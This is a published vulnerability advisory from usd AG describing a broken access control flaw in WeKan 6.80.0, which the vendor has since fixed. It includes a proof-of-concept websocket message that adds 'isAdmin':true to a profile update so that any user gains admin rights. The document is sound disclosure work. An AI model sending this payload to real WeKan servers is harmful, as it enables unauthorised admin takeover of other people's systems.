usd-2023-0008 | WeKan 6.80.0 - Broken Access Control

Advisory ID: usd-2023-0008
Product: WeKan
Affected Version: 6.80.0
Vulnerability Type: Broken Access Control (CWE-284)
Security Risk: High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Vendor URL: https://github.com/wekan/wekan
Vendor acknowledged vulnerability: Yes
Vendor Status: Fixed
Advisory Status: Published
CVE number: Not requested yet
CVE Link: Not requested yet

Description

WeKan is an open source Kanban application. A vulnerability in WeKan allows any user to escalate their privileges to admin user.

Proof of Concept

The application communicates using websockets.
The original websocket message on a profile update action is the following:

["{\"msg\":\"method\",\"id\":\"13\",\"method\":\"/users/update\",\"params\":[{\"_id\":\"NuDSTaQ4gvpcgMpzg\"},{\"$set\":{\"profile.fullname\":\"test\",\"modifiedAt\":{\"$date\":1679676730422}},\"$unset\":{\"profile.initials\":\"\"}},{}]}"]

The request sets the users fullname to a simple "test".

The user can add a custom parameter isAdmin to the request, which escalates the users permissions to admin permission:

["{\"msg\":\"method\",\"id\":\"13\",\"method\":\"/users/update\",\"params\":[{\"_id\":\"NuDSTaQ4gvpcgMpzg\"},{\"$set\":{\"profile.fullname\":\"s\",\"isAdmin\":true,\"modifiedAt\":{\"$date\":1679676730422}},\"$unset\":{\"profile.initials\":\"\"}},{}]}"]

The admin panel is now accessible for the user.

Fix

It is recommended to perform proper access control and permission checks.

References

Timeline

  • 2023-04-25: Details were submitted using PGP according to the security policy.
  • 2023-04-26: The issue is reported to be fixed by the vendor.
  • 2023-04-26: The fix is tested and verified to actually address the vulnerability sufficiently.
  • 2024-05-27: This advisory is published.

Credits

This security vulnerability was identified by Christian Pöschl of usd AG.